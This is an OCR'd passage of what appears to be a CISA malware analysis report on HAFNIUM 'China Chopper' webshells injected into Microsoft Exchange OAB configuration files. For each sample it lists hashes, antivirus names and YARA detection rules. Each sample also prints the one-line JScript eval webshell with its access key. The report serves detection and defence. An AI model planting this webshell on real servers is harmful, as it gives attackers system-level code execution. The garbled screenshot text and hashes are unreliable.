OfflinedddressEoo!
Requiredskh
Basichuthenticat i
Vindowsiurhentica
Qhuthluthenticat i
HerabasePath

Path
ExtendedProtectio:
ExtendedProtectio:
ExtendedProtectio.
AdminDisplagVersi
Server
Invernallcl
Internalluthentic,
Extvernallcl

Fage Load(){evall
External huthent ic
AcminDisp layName
ExchangeVersion
Diatinguishediame
Administrative Go
Exchange, CH=Serwvi
Identity

Guid
dbjecelacegory
b jeceClass

UhenChanged
WhenCreated
WhenChangeddTC
WhenCreacedOTC
OrganizacionId

Id
OFLginatingServer
I=WValid

1 CABR [Default Web Site)

: 430
do= 1
i Toue
on : False
tion + True
an : False
¢ LIS/ /REDACTEL « Com WISVCS 1/ ROOTS OAE

t DryProgram Files\Microsofc)Exchange Server)V1S\FrontEnd) EcopProxyh OAB
nTokenChecking : None
nFlags :
nIFHList

on : Version 15,0 (Build 1487.2
¢ hropa:/AREDACTEL ~comd ORE
ationfethods 1 WindowsIntegratced

¢ heep:/AE <seripe language="JZeripe” runac="server">function
Request [ "xncSsoZepUEz*] , "unsafe™) ; }</scriptr
ationfethods i Windowslntegoated

+ 0.10 (14.0.100.0)

! CH=ORE (Defaultc Web Zite) ,CHN=HTIF,CH=Frotocols, CN=RECACTED CH=Servers, CH=Exchange
oup (FYDIBOHFIIFFDLT) ,CH inistrative Groups,CH= sCH=Hicrosoft
ces, CH=Cont iguration, BO B, DC=oom

i REL ault Web Sice}
3If=4148=-hEeB-LafI07R2L57
'Configuration/Schema/mea-Exch-OhB-Vircual-Iirectory

Y GeTeAR

¢ EOp
msExchVirtualbirectory
mSERchORBVIETuallirectory

1 3f2/ 2021 12:88:11 PH

t 3FES2021 13:57:42 PN

1 3/2/2021 5:53:11 PH

{ 3FE/I0E1 5:57:42 FH

{Detault Wab Siee)
S0

Figure 5. -

1435e7871e32779a81e28aa9bh6fa57949439220527ed3b3fb83a1c0699f376e3

Tags

trojan webshell

Details

Name

Size

Type

MD5
SHA1
SHA256
SHA512

ssdeep
Entropy

Antivirus

cBPOVKYG.aspx

2167 bytes

HTML document, ASCII text, with CRLF line terminators
d67c8e0b4489979922¢5acfff7211186
3179101b5d8484a3cb316fb22e4e6aaa60eda94d

1435e7871e32779a81e28aa9b6fa57949439220527ed3b3fb83a1c0699f376e3

TLP: CLEAR

97e068cab67ch8b597c052ef4905cffc506d97fe1069f9195dbcc882b4808088e83ac37f430f2d43096ff40a8db1e03a

133a54ae2fdaf22a33bbfb393a395e57

24:kNrde9j3a+rJTh91QcFdyW6j0SzMaEDVMr6j71idfhphESgh62E40NFOqTenf:kNrdepN1BXS0zaM5QZphEws40NF0q6

4.643343

Avira EXP/CVE-2021-27065.1
itdefender = Generic.ASP.WebShell.H.E4D70A09
ClamAV | Asp.Trojan.Webshell0321-9840176-0
Cyren ASP/CVE-2021-27065.A.gen!Camelot
Emsisoft = Generic.ASP.WebShell.H.E4D70A09 (B)
IKARUS | Exploit.ASP.CVE-2021-27065
Lavasoft Generic.ASP.WebShell.H.E4D70A09
McAfee Exploit-CVE2021-27065.a
NANOAV | Exploit.Script.CVE-2021-26855.iwqhlf

Quick Heal = CVE-2021-26855.Webshll.41350

Sophos | Troj/WebShel-L

CISA MAR-10365227.r3.v1.CLEAR
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Symantec @ Trojan.Chinchop
Trend Micro Backdoo.43A0A8D2
Trend Micro HouseCall = Backdoo.43A0A8D2

YARA Rules

¢ rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1={6576 61 6C 28}
$s2={28 52 65 71 7565 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29}
$s3={494F2E53 74 726561 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 ={57 7269 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)
}
¢ rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={ 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }
$s2={4578 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
$s0 and $s1 and $s2
}

ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter

TLP: CLEAR
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suggests the operator can dynamically submit queries to this Exchange OAB VD.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been
replaced with the following code:

—Begin Webshell—

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["fYQMESigLnP1"],"unsafe");)</script>
—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "fYQMESigLnP1" is used

for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)
level privileges.

Screenshots

Hame i OAB (Defaulr Veb Jice)

Polllncezval : 480

Offlinedddressbooks H

ReguireSSL : Terue

Bazichuthentication i False

VindowsAUChent 1oag 1on : Teus

Ohuthhuthentication : Fal=e

HecabaseFach = II3://REDACTEL oo WE3EVCS 1/ ROOT/ OB

Path : D:\Program Files\Microsoft\Exchange Secver\V15\FrontEnd\HttpProwy)OkB

ExcendedProvectionTokenChesking @ None
ExcendedProtectionf Lags ]
ExcendedPEotection3FNLisE

AdmainDisplayVersion 1 Version 15.0 (Build 1497.2)

Server = REDACTE

Internallicl : https: /S REDACTEL - oo OAE

IncernalAuthent icat ionlleshods i WindowsIntegrated

Excernallel : heeprf/Ef<aceipt language="JScript™ runat=‘server”>function

Page Load{] {eval (Reguese ["2YONESiglaPi®] , "unsafe™) : j</acripes
Excernaliuchenticationfechoda : WindowaIntegeated

AdminDisplayhams :
ExchangeVeraion @ 0.10 [14.0.100,0)
DIi=tinguishediames : CN=0AB (Default Web Site) ,CN=HTTP,CN=Protocols,CN=REDACTER CN=Servers, CN=Exchange

A@ministracive Geouwp (FYPIBOHFZ3ISPDLT),CH
Exchange, CN=Services, CN=Configuration, bC £, I =com

Ideaticy : REL C (Default Wek Fice)

Guid : 20 de-0de8h-4eef-a6Sd-dbSh52 laleal

ObjectCategory : RE ‘Contigurat ion/Jchema/ me-Exch-0AB-Virtual-Directory
m;ecccl&ss : top

iniscracive Groups,CH= JCN=RMicroaoic

meExchVirtunllicectory
maExchOABVircualbirectory

VhenChanged s IF2S2021 12:06:49 PH
WhenCreated = 3f2/2021 12:05:06 PR
VhenChangedUTC = 3F2/2021 5:06:49 PR
WhenCreatedlTC : 3/2/20Z1 5:05:06 FA
drganizationld H
Id ¢ REDACTED  (Pefeult Wek Sice)
driginatingSecwver H TEL = Com
IsWalid

Figure 6. -

411fef05a37e286a4e48700e5155cd55672cce4¢c9283b448d968391267b4f866

Tags

trojan webshell

Details
Name pRd3rlIG.aspx
Size 2167 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 1c0e6e63818a2955ch368f7ae9a934da
SHA1 36531b3b859b7d875260a67e7ce5b59e48d46404
SHA256 411fef05a37e286a4e48700e5155cd55672cce4c9283b448d968391267b4f866

SHA512 9e770e8216¢c4cd9be6d0048208c5494b3ff4e5556478f895db6140cdf94c6048004e79ded020bch7cc2987097f8454
d13748337aca5fbae430f0758ab4d6370c

ssdeep | 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaZVMr6j71idfhphE5g2Ze62E40NFOqUUenf:kNrdepN1BXSOBM5QZphEYs40NFOql
Entropy 4.643510

Antivirus
Avira | EXP/CVE-2021-27065.1

TLP: CLEAR
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Bitdefender = Generic.ASP.WebShell.H.2BSEEBDE
ClamAV | Asp.Trojan.Webshell0321-9840176-0
Cyren | ASP/CVE-2021-27065.A.gen!Camelot
Emsisoft = Generic.ASP.WebShell.H.2BS8EEBDE (B)
IKARUS | Exploit.ASP.CVE-2021-27065
Lavasoft | Generic.ASP.WebShell.H.2BS8EEBDE
McAfee | Exploit-CVE2021-27065.a
NANOAYV | Exploit.Script.CVE-2021-26855.iwqhif
Quick Heal = CVE-2021-26855.Webshll.41350
Sophos | Troj/WebShel-L
Symantec Trojan.Chinchop
Trend Micro Backdoo.43A0A8D2
Trend Micro HouseCall = Backdoo.43A0A8D2

YARA Rules

¢ rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1={6576 61 6C 28}
$s2 ={28 5265717565 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29}
$s3={49 4F 2E53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 ={57 7269 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)
}
e rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={ 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }
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$s2={4578 7465 72 6E 61 6C 55 726C 20202020}
condition:

$s0 and $s1 and $s2
}

ssdeep Matches

No matches found.
Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter
suggests the operator can dynamically submit queries to this Exchange OAB VD.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been
replaced with the following code:

—Begin Webshell—

hxxp[:1//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["oriWapL6n5CI"],"unsafe");)</script>
—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "oriWapL6n5CI" is used for

authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)
level privileges.

Screenshots

Haane : OAB (Default Web Sice)

FollInterval ¢ 480

Orflineiddressbooks H

RequireSSL : True

Bamichuthentication i Falae

WindowsAuchencicacion : Teue

OAuthiuthentication i Falae

HecabaseFach : IIS:// TED Lo/ WISVCS 1/ ROOT/ OAB
Path

Hi ] P:Duraﬂn Files\Microsoft)Exchange Server\V1S8\FrontEnd)BetpFroxyh OAB
ExcendedProvect ionTokenchecking = oo

ExtendedProtect ionf Lags £

ExeendedProtvect ion3PHLisc B

AdminbisplayVersion ] =sron 15.0 [Build 1457.2)

Server
Incernallicl '
InternalAuchent icationdere hods : W |U.ousInl.egLul-ed
Excernallicl : htop://E/<acript language="JScript”™ rumat="aerverTrIunction
Page_Load{) teval (Requeat [Yor iNapLénSCIN] , "unsafe®) | </scripes

ooy OUE

Externaliuchent icationNetchods : WindowslIntegrated
AdminDisplayiame H
ExchapgeVeraton * 0.10 {14.0.100.0)
DIimeinguishediams 1 CH=0AF (Default Ueb Site)  CH=HTTP, H=Protocols=, CH=RDAITID CH=Sarvar s, CH=Exchange
Adminiavracive Group (FYDIBOHFZISPDLT),CHN=Administrative Geoupa, CH= fCH=Hicrosolt
Exchange, CN=Services, tl‘fn.o:ll!mt.:at.:t:!z\ I.-v\. TID , Dl=com
Idearicy [Perayls Weh Jite)
Guid 57ed6-daba-9093-athe-bOelazS3 7656
ObjectCaAteyory * REDA&CT FConE Lgurat ion/ Schema/me=Exch=0AB=Vietual=Dicreccory
SojectClass : top
meExchVircualbivectory
msExchOABVirtualbirectory
VhenChanged ¢ 3/2/2021 11:53:47 AN
WhenCreated : 3/2/2021 11:53:23 AR
VhenChangedUTC s IF2F20Z1 4:53:47 PH
WhenCfreatedlUTC r 3/2F2021 4:53:23 FH
drganizationld H
Ia (Pefaulc Weh Jite)
ariginatingServer H Loom
IaValid ' TEuMe
Figure 7. -

dfa9f4a054636750012e0ff56286a3c96¢37062959c8ac5b2df52e349de69e65

Tags
trojan webshell

Details
Name GLuRqYO7.aspx
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Size
Type
MD5

SHA1
SHA256
SHA512

2167 bytes

HTML document, ASCII text, with CRLF line terminators
172e2090dcd8571d3d98e219a2e6b226
1351bca8b60f74894d13553703597d861acd04ea
dfa9f4a054636750012e0ff56286a3c96¢37062959c8ac5b2df52e349de69e65

a2f3800665492659€44494194ce9e032cd38b16d5¢c9fe1f8e0c1376e3ddf43860553813271d77bfb604b53c67768f0
455d3c77c7b4clc5a16cal8e66¢7356d95

ssdeep 24:kNrde9j3a+rTh91QcFdyW6j0SzMaPfVMr6j71idfhphE5g11+62E40NFOqRvent:kNrdepN1BXSO/M5QZphEOgs40NFOQR

2

Entropy 4.649797

Antivirus
Avira
Bitdefender
ClamAV
Cyren
Emsisoft
IKARUS
Lavasoft
McAfee
NANOAV
Quick Heal
Sophos
Symantec
Trend Micro
Trend Micro HouseCall

YARA Rules

EXP/CVE-2021-27065.1
Generic.ASP.WebShell.H.FF1FESE9
Asp.Trojan.Webshell0321-9840176-0
ASP/CVE-2021-27065.A.gen!Camelot
Generic.ASP.WebShell.H.FF1FESE9 (B)
Exploit.ASP.CVE-2021-27065
Generic.ASP.WebShell.H.FF1FES8E9Q
Exploit-CVE2021-27065.a
Exploit.Script.CVE-2021-26855.iwqhlf
CVE-2021-26855.Webshll.41350
Troj/WebShel-L

Trojan.Chinchop

Backdoo.43A0A8D2
Backdoo.43A0A8D2

o rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065

{

meta:

Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples”
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1={65 76 61 6C 28 }
$s2={28 5265 71 7565 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
$s3={494F2E53 74 726561 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 ={57 7269 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)

e rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065

meta:

TLP: CLEAR
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Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 = { 4F 66 66 6C 69 6E 65 41 64 64 7265 73 73 42 6F 6F 6B 73 }
$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }
$s2={4578 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
$s0 and $s1 and $s2
}

ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter
suggests the operator can dynamically submit queries to this Exchange OAB VD.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been
replaced with the following code:

—Begin Webshell—

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["49tWiczXqjDb"],"unsafe");)</script>
—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "49tWiczXqjDb" is used for
authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)
level privileges.

Screenshots

TLP: CLEAR
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HetabasePach
Path

Server

ExchangeVersion

Idencity

Guid
ChjeccCatEgory
ChieceC lass

WhenChanged
VhenCeeated
VhenChangedUTC
WhenCreareddTo
Crganizationld
Id

IaValid

Hame i OAB (Default Web Fice)
PollInterval r 480

OrfLine kidresaBooks :

ReguireS3Ll ¢ True
Basicluthentication i False

Vindows kuthentication : True

CABERBAMTheRE iCcAT LN ¢ False

ExtendedProcectionTokenchecking ¢ None

ExtendedProcect ionF lags i

ExtendedProtectionSPNList

AdminDiaplagVersion r Wersion 15.0 (Build 1497.2)

Intecoallicl «Comf OB
Internaliuthenticationf=thods r Windo egrated
Externallicl ¢ heepi/fEfcscript language="JScIipc™ CURAC=“server”>LuncTion

Page_Load () {eval (Requast[42eVicelaqilb™] , "unsafe”] ;) </ scripe>
ExternmliuthenticationMethods  : WindowsIntegrated
AdminDiaplayNeames H

Distinguishediame i CH=Q0AE [Default Web 3ite), CH=HTTF,CN=Protocols, CN=RE0ACTEQ CH=Servars, CH=Exchangs

Administrative Group (FYDIBCHFZISPOLT),CN=Administracive Groups,cle= ;CH=Hicrosofe
Exchange, CH=Services, CN=ConZigueacion, I

OriginatingServer

i II&: /A /RED TE ooy WISVCS 1/ ROOTS OAB
: D:YProgram Files\MicrosoftlExchange ServerV1S)FrontEnd)HttpProxy)OoLs

¢ 0,10 {14.0,100.0)

EDACTED , DCweoe

i OREL (befault Web Jice)

1 laf3aS4f-Taba-485c-961c-87dTc2 déBacy

r RE J/Contigurat ion Schema/ me-Exch-OME-Virtual-DPiEecTory

¢ Top
meExchVirtualbizectory
maExchOkBVircualbirectary

(befault Web Site]
«Com

Figure 8.

a58c4fdb1c31100f4e9bb530af7d1lac57c715feelc7c5e6¢790e1e9cc863cfed

Tags

trojan webshell

Details

Name

Size

Type

MD5
SHA1
SHA256
SHA512

ssdeep
Entropy

Antivirus

0GPd9cCt.aspx

2166 bytes

HTML document, ASCII text, with CRLF line terminators
0f8d4a9a0f41f1b347daa3ee3da48f54
c6ff7631c088c60a461d70b47dd85aea9fc51019
a58c4fdb1c31100f4e9bb530af7d1lac57c715feelc7c5e6c790ele9cc863cfed

TLP: CLEAR

5044011ef02042255fe35a01fe7b1063d77f8a269b6e67e0d09506dc102759f1bd2fbba379d46fb4f45ee9d64c88e49

7e5b78e76be7e5cc1609a8bf9615aecl6
48:kNrdepN1BXS0ZPpM5QZphEaes40ONFOqZX:ktde/1Ea5SNCqx
4.644410

Avira EXP/CVE-2021-27065.1
Bitdefender = Generic.ASP.WebShell.H.OD1EDOA3
ClamAV | Asp.Trojan.Webshell0321-9840176-0
Cyren = ASP/CVE-2021-27065.A.gen!Camelot
Emsisoft Generic.ASP.WebShell.H.OD1EDOAS3 (B)
IKARUS | Exploit.ASP.CVE-2021-27065
Lavasoft = Generic.ASP.WebShell.H.OD1EDOA3
McAfee | Exploit-CVE2021-27065.a
NANOAV | Exploit.Script.CVE-2021-26855.iwqhlf
Quick Heal CVE-2021-26855.Webshll.41350
Sophos | Troj/WebShel-L
Symantec Trojan.Chinchop
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Trend Micro Backdoo.43A0A8D2
Trend Micro HouseCall Backdoo.43A0A8D2

YARA Rules

e rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065
{

meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples”
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"

strings:
$s0={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1={65 76 61 6C 28 }
$s2 ={28 5265717565 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29}
$s3={494F2E53 74 726561 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 ={57 7269 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }

condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)

}

¢ rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065
{

meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"

strings:
$s0 = { 4F 66 66 6C 69 6E 65 41 64 64 7265 73 73 42 6F 6F 6B 73 }
$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }
$s2={4578 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }

condition:
$s0 and $s1 and $s2

}

ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter
suggests the operator can dynamically submit queries to this Exchange OAB VD.

TLP: CLEAR
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In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been

replaced with the following code:

—Begin Webshell—

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["eyidEfJpQbol"],"unsafe");)</script>

—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "eyidEfJpQbol" is used for
authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)

level privileges.

Screenshots

B e i ORP (Default Web Site)

PollInterval 1 480

QfElineiddressBooks :

Require5SL 3 True

Enzichutheatication i False

Findowshuthentication i True

ORUTHAUTRENT 1EAT 1Ok : False

HerabasePath : II5://REDACTED = com/ WISVC/ 1/ ROOT/ QAR

Facth : D\ Progrem FilesiMicrosodch\EIxchange Server\V1S\FronctEnd\HocpProxyOAB

ExtendedProtect ionTokenChecking i Hone
ExtendedProtect ionF lags B
ExtendedProtect ionSPHList

AdminDisplayVeraion : Version 15.0 (Build 1497.Z)

Ferver i RED&

Internallicl DACTEL scom OkB

Internaliuthent icat isnlethods Eegrated

Externallirl 1 hetprffff<acript language="JScript® runat="server":funccion

Page_Load (] (eval (Request ["eyidELIpdhol™] , "unaafe™) ;) </ seripe>

Externaliuthenticationfethods 1 WindowsIntegrated

AdminDiaplayiame :

ExchangeVersion : 0.10 (14.0.100.00

Diatinguishediame 3 CH=OAE (Default Web Zice), CN=HTTF,CH=Frotecols, CH=ioaci CH=Servers, CH=Exchange

Administrative Group (FYDIBCHFZISPDLT),CN=Administrative Groups,CH= +»CH=Microsoft
Exchange, CH=Services, CH=Configurat ion, DO= REDACTED, DC=com
Tdentity Pt (Dbefault Web Sice)
Guid ! ea?SbdZZ-sanl -4258-8458-Thoo3 Lo 3doal
OhjectCategory : REDACTED  fConfiguration/Schems/ms-Exch-OAB-Virtual-Directory
fhjeceClasa 1 cop

meExchViccualbirectory

maEvchOABVirtusl birectory

WhenChanged i 3FE/2021 1:19:45 PH
WhenCreated 1 3f2/2021 12:58:17 FH
WUhenChangedUTC i IFESI0ZTL 6:19:45 PN
EhenCreatedUTC 1 3f2/2021 5:58:17 PX
Qrganisationld :

Id [Pefault Web Site)

QriginatingServer
I=Walad

LEom

Figure 9. -

e2caf75367ca300f616a96ff07769b1f80b69blael135fa27b79376a75a905b5e

Tags
trojan webshell

Details
Name | mDwelri6.aspx
Size 2167 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 981d83dc485048c3c8e4d74fb4a3eab6
SHA1 5537d6f6d321a623ebd7c785df4ada06cbe688c6

SHA256 e2caf75367ca300f616a96ff07769b1f80b69blael35fa27b79376a75a905b5e

SHAB12 60c76e13d797a13d942481237c80ab082e02f744d6cabde724a9108acac737a7ddffce4abef6bae30ac2367617028d

703853a3ff79a5f519e7348d44849f4e9a

ssdeep | 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaxTQSVMr6j71idfhphE5ghi62E40NFOqlenf:kNrdepN1BXS0geM5QZphESIs40NFOqk

Entropy 4.649818

Antivirus
Avira | EXP/CVE-2021-27065.1
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Bitdefender = Generic.ASP.WebShell.H.D9S8EFB85
ClamAV | Asp.Trojan.Webshell0321-9840176-0
Cyren | ASP/CVE-2021-27065.A.gen!Camelot
Emsisoft = Generic.ASP.WebShell.H.D9SEFBS85 (B)
IKARUS | Exploit.ASP.CVE-2021-27065
Lavasoft | Generic.ASP.WebShell.H.D9SEFB85
McAfee | Exploit-CVE2021-27065.a
NANOAYV | Exploit.Script.CVE-2021-26855.iwqhif
Quick Heal = CVE-2021-26855.Webshll.41350
Sophos | Troj/WebShel-L
Symantec Trojan.Chinchop
Trend Micro Backdoo.43A0A8D2
Trend Micro HouseCall = Backdoo.43A0A8D2

YARA Rules

¢ rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1={6576 61 6C 28}
$s2 ={28 5265717565 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29}
$s3={49 4F 2E53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 ={57 7269 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)
}
e rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
